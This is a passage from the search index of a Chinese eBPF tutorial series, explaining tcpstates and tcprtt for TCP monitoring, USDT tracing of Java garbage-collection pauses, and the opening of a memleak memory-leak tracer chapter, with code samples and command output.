saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport <targ_sport> Set value of `__u16` variable targ_sport --targ_dport <targ_dport> Set value of `__u16` variable targ_dport --targ_saddr <targ_saddr> Set value of `__u32` variable targ_saddr --targ_daddr <targ_daddr> Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/usdt.bpf.h>\n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc/<pid>/maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; 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数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 